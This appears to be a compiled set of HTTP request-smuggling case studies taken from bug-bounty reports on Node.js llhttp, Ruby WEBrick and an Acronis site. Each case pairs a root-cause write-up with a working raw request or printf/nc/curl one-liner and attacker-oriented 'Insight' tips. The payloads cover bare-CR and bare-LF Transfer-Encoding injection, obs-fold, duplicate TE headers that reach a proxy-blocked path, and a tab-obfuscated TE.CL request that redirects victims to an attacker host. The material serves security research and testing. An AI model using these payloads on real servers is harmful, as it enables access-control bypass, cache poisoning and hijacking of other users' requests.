Insight — Fuzz Transfer-Encoding with malformed-but-chunked-containing values ('chunkedchunked', 'chunked, chunked', 'xchunked') - lenient re-matching parsers accept them as chunked while proxies reject them, a reliable TE.TE desync source.
Real-world example
Bare-CR header delimiter smuggling a Transfer-Encoding header
◆ Medium
Specimen #2001873 · nodejs · none · 7 votes · resolved
Program nodejsSurface web
Root cause
llhttp accepts a lone CR (without LF) as a header-field delimiter. A header value containing '\r' causes llhttp to terminate the current header and start a new one, letting an attacker smuggle a Transfer-Encoding header inside another header's value. The character immediately after \r is dropped.
Method
- Craft a header whose value embeds a bare CR followed by a Transfer-Encoding header, e.g. 'X-Abc:\rxTransfer-Encoding: chunked'.
- Node's llhttp splits on the bare CR and parses 'transfer-encoding: chunked' as a real header (the 'x' after \r is consumed).
- A front proxy that treats \r as part of the value (not a terminator) forwards it as a single header, so proxy and Node disagree on presence of chunked encoding -> smuggling / access-control bypass.
printf 'POST / HTTP/1.1\r\n'\
'Host: localhost:5000\r\n'\
'X-Abc:\rxTransfer-Encoding: chunked\r\n'\
'\r\n'\
'1\r\n'\
'A\r\n'\
'0\r\n'\
'\r\n' | nc localhost 5000
Insight — Bare CR (\r) is the counterpart to bare LF: some parsers accept CR-only as a line delimiter. Test both \r-only and \n-only injections inside header values to smuggle a hidden Transfer-Encoding/Content-Length past a proxy that keeps them inline.
Real-world example
Empty-value header + bare LF to smuggle Transfer-Encoding (CVE-2022-35256)
◆ Medium
Specimen #1675191 · nodejs · none · 6 votes · resolved
Program nodejsSurface web
Root cause
llhttp mishandles a header field with an empty value that is not CRLF-terminated: 'x:\nTransfer-Encoding: chunked' is accepted and the smuggled Transfer-Encoding is parsed, whereas the same construct with a non-empty value ('x:x\n...') is rejected. This inconsistency lets an attacker hide a TE header for smuggling.
Method
- Prefix the smuggled Transfer-Encoding with an empty-valued header terminated only by bare LF: 'x:\nTransfer-Encoding: chunked'.
- Node accepts and applies chunked encoding; an upstream that requires CRLF sees one header line and no chunked encoding.
- Variant: fold multiple TE lines ('Transfer-Encoding: yeet\r\n Transfer-Encoding: \n Transfer-Encoding: chunked') to build value 'yeet, , chunked' still honored as chunked.
printf 'POST / HTTP/1.1\r\n'\
'Host: localhost\r\n'\
' x:\nTransfer-Encoding: chunked\r\n'\
'\r\n'\
'1\r\n'\
'A\r\n'\
'0\r\n'\
'\r\n' | nc localhost 5000
Insight — The empty-value-vs-nonempty-value asymmetry is the key: when a bare-LF injection is filtered, retry with an empty-valued preceding header ('x:\n...') - parsers often only reject the non-empty case. Combine with obs-fold to assemble a chunked TE from fragments.
Real-world example
obs-fold appends junk to Transfer-Encoding, forwarded invalid to backend (CVE-2022-32213 bypass)
◆ Medium
Specimen #1630336 · nodejs · none · 5 votes · resolved
Program nodejsSurface web
Root cause
When Node is the proxy, an obs-fold continuation ('Transfer-Encoding: chunked\r\n abc') is folded into the value 'chunked abc'. Node still parses it as chunked but forwards the invalid header 'Transfer-Encoding: chunked abc' downstream, where the back-end may treat it differently - reintroducing the CVE-2022-32213 desync that the fix was meant to close.
Method
- With Node acting as an HTTP proxy, send Transfer-Encoding: chunked followed by an obs-fold line ' abc'.
- Node folds and accepts it as chunked, then relays 'Transfer-Encoding: chunked abc' to the downstream server.
- Downstream parser disagrees on the (now invalid) TE value, producing a request-smuggling desync.
curl -vv -H $'Transfer-Encoding: chunked\r\n abc' --data 'A' http://127.0.0.1:5000
Insight — When a proxy both accepts AND forwards a header it mangled, the desync moves one hop downstream. Test proxies by folding trailing junk onto Transfer-Encoding: if the proxy honors 'chunked' locally but forwards 'chunked <junk>', the mismatch is exploitable against the back-end.
Real-world example
TE decided by substring regex /chunked/ (Ruby WEBrick)
◆ Low
Specimen #965267 · ruby · 500 · 53 votes · resolved
Program rubySurface otherTag cache
Root cause
WEBrick's read_body chooses chunked decoding with `case tc when /chunked/io`, matching any Transfer-Encoding value merely CONTAINING 'chunked' (e.g. 'AAAchunkedBBB'), so a value a strict proxy rejects still triggers chunked parsing.
Method
- Send 'Transfer-Encoding: AAAchunkedBBB'
- WEBrick regex-matches 'chunked' and chunk-decodes the body
- A frontend that requires an exact TE token disagrees -> desync
Transfer-Encoding: AAAchunkedBBB
Insight — Any server that uses a loose regex/substring test for 'chunked' (instead of an exact token match) is smuggling-prone. When auditing source, grep for /chunked/ style matches on the TE header.
Real-world example
Duplicate Transfer-Encoding headers TE-TE (Node CVE-2020-8287)
◆ Low
Specimen #1002188 · nodejs · 250 · 34 votes · resolved
Program nodejsSurface otherChain TE-TE desync -> smuggle request past reverse-proxy ACL (aTag cache
Root cause
Node accepts two Transfer-Encoding header fields and honours only the first, ignoring the second even if invalid; a proxy that keys on the second/last TE disagrees -> TE-TE desync.
Method
- Send two 'Transfer-Encoding' headers, first 'chunked', second bogus ('chunked-false')
- Node uses the first (chunked); HAProxy in front is fooled by the pair
- Smuggle a request to a proxy-denied path (/flag) that the ACL blocks on the surface request
POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Transfer-Encoding: chunked-false
1
A
0
GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x
Insight — Send the SAME header twice with one valid and one bogus value. Front and back ends often pick different occurrences (first vs last), a reliable way to bypass proxy path/ACL controls like a blocked /flag or /admin.
Real-world example
TE.CL tab-obfuscated Transfer-Encoding -> mass redirect via /sf
◆ Low
Specimen #1063627 · acronis · none · 16 votes · resolved
Program acronisSurface webChain TE.CL desync -> smuggled /sf with attacker Host -> masTag cache
Root cause
Frontend ignores a tab-obfuscated 'Transfer-Encoding\t:\tchunked' and uses Content-Length while the backend honours chunked; the smuggled POST /sf with an attacker Host makes the app 301-redirect victims off-site.
Method
- Send the tab-obfuscated TE request via Burp Intruder (base64 form provided)
- Match the hex chunk size to the smuggled second POST's length
- Smuggle POST /sf with attacker Host; victims get redirected to attacker collaborator
POST / HTTP/1.1
Transfer-Encoding : chunked
Host: consumer.acronis.com
Content-Type: application/x-www-form-urlencoded
Content-length: 4
64
POST /sf HTTP/1.1
Host: <COLLAB>
Content-Length: 15
0
Insight — Tab characters around the TE colon are a reliable frontend/backend split. A path that reflects Host into a redirect (here /sf) turns the desync into a mass off-site redirect. To land redirects over port 443/HTTP, use socat to answer 302 and bounce to your HTTPS listener (see #1063493).